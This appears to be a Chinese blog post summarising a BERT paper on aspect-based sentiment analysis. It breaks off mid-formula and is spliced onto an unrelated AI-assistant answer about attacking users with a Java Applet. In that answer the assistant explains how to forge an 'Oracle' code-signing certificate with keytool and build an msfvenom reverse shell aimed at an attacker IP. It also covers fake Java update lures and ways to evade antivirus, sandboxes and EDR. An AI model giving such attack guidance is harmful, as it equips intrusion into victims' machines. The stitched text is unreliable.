【论文阅读】Utilizing BERT for Aspect-Based Sentiment Analysis via Constructing Auxiliary Sentence

Utilizing BERT for Aspect-Based Sentiment Analysis via Constructing Auxiliary Sentence

这篇论文主要是通过用aspect构造辅助句子,将ABSA问题转成sentence-pair分类任务,模型就是用了bert,然后再sentihood和semeval2014 task4上都取得了很好的结果

简介

这篇文章的问题领域是TABSA:aspect对应着target,有一个情感极性。这个任务可以分成两步,第一是识别target关联的aspect(the first step is to determine the aspects associated with each target;);第二是确定这个target的aspect的情感极性(the second step is to resolve the polarity of aspects to a given target)
直接把bert用于TABSA任务并没有显著的提升,文章认为这可能是预训练Bert模型的打开(使用)方式不对。
由于Bert既可以表示单个句子,也可以表示一对句子,所以想到将TABSA问题转化成句子对分类问题,然后微调bert模型。
文章探讨了几种构建辅助句子来转化TASBSA问题的方法。
文章总的贡献是两点:
1、将TABSA问题转化成句子对分类问题来解决
2、微调bert模型,在sentihood和semeval2014 task4上都取得了很好的结果

Methodology

任务描述

TABSA:
句子s:{w1, · · · , w

<think> 嗯,用户这次的问题是关于Web攻击模块中的Java Applet攻击方法,要求详细解释证书欺骗和Metasploit载荷投递的机制。结合用户提供的两则引用,虽然主要内容是鱼叉式钓鱼的相关工具配置,但其中提到的"Java Applet Attack Vector"和"spoof your email address"等概念与当前问题有技术关联性。 用户明显具备网络安全基础知识,从ta准确使用"spoofs a Java Certificate"、"Metasploit-based payload"等专业术语就能看出。不过ta可能混淆了钓鱼攻击模块和Web攻击模块的区别——引用[1][2]描述的是SET工具集的邮件钓鱼功能,而ta实际询问的是网页端的Java Applet攻击。需要明确区分这两个攻击向量。 关于Java Applet攻击的技术细节,核心在于三重欺骗:首先伪造数字证书让浏览器信任恶意程序,其次通过假冒的Java更新提示诱导用户点击,最后用定制化的Applet程序绕过沙箱执行。Metasploit的集成是关键,它提供了从载荷生成到反向连接的完整链条。有趣的是,虽然现代浏览器已默认禁用Java插件,但攻击者仍会针对遗留系统或特定行业(如医疗设备)使用此方法。 需要提醒用户注意两点隐蔽风险:一是证书伪造可能利用合法CA的签发漏洞(如已停业的DigiNotar事件),二是Applet可结合CSS漏洞实现无交互触发。不过这些内容超出当前问题范围,或许在后续回答中补充。 </think> 基于您对Web攻击模块中Java Applet攻击技术的深度询问,结合引用资料和渗透测试框架(如SET)的实现逻辑,技术细节如下: --- ### **Java Applet攻击流程** 1. **证书欺骗(Spoofing Java Certificate)** - 攻击者使用伪造的代码签名证书(Code Signing Certificate),使浏览器将恶意Java Applet识别为"受信任的供应商"(如Oracle)签发的合法程序。 - 技术实现: - 利用工具(如`keytool`)生成自签名证书,并伪造证书中的`CN`(Common Name)字段为合法厂商(示例): ```bash keytool -genkey -alias "Oracle Corporation" -keystore malicious.jks ``` - 在恶意Applet的`MANIFEST.MF`中注入伪造证书,诱导浏览器跳过安全警告[^1][^2]。 2. **载荷投递(Metasploit-based Payload)** - 攻击流程: ```mermaid graph LR A[定制恶意Java Applet] --> B[内嵌Metasploit反向Shell] B --> C[用户访问含恶意Applet的网页] C --> D[浏览器加载Applet并触发证书验证] D --> E[伪造证书绕过安全提示] E --> F[执行Shellcode建立反向连接] F --> G[攻击者控制目标主机] ``` - 关键技术: - Applet中调用`Runtime.getRuntime().exec()`执行系统命令。 - 使用Metasploit生成混淆的反向Shell载荷(如`msfvenom -p java/shell_reverse_tcp LHOST=攻击者IP LPORT=端口`)[^1]。 3. **定制化Applet(Customized Java Applet)** - 社会工程学设计: - 模仿Java更新提示(虚假弹窗):"**Your Java version is outdated. Click to update.**" - 嵌入合法公司的Logo(如Adobe、Oracle)增强可信度。 - 技术规避: - 通过JavaScript检测用户浏览器类型,动态调整攻击页面布局。 - 利用CSS隐藏恶意元素,仅在用户交互后触发攻击。 --- ### **防御规避与检测难点** | **技术手段** | **检测挑战** | |-----------------------|-------------------------------------| | 自签名证书+厂商名伪造 | 普通用户无法辨别证书真伪 | | 反射型DLL注入 | 绕过传统杀毒软件的内存扫描 | | 延时执行机制 | 规避沙箱环境的时间敏感型检测 | --- ### **相关实践问题** 1. 如何验证伪造的Java证书在主流浏览器(Chrome/Firefox/Edge)中的兼容性? 2. Metasploit载荷如何绕过现代EDR(端点检测响应)系统的行为监控? 3. 在无交互场景下(如强制后台加载),Java Applet攻击是否仍有效? > 提示:现代浏览器已默认禁用Java插件,此类攻击主要针对未更新安全策略的内网系统或诱导用户临时启用Java[^2]。 [^1]: 伪造证书技术源于渗透测试框架的证书克隆模块,需结合社会工程学提升可信度 [^2]: SET工具的Web攻击模块通过自动化模板降低攻击门槛,但需注意浏览器兼容性限制
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值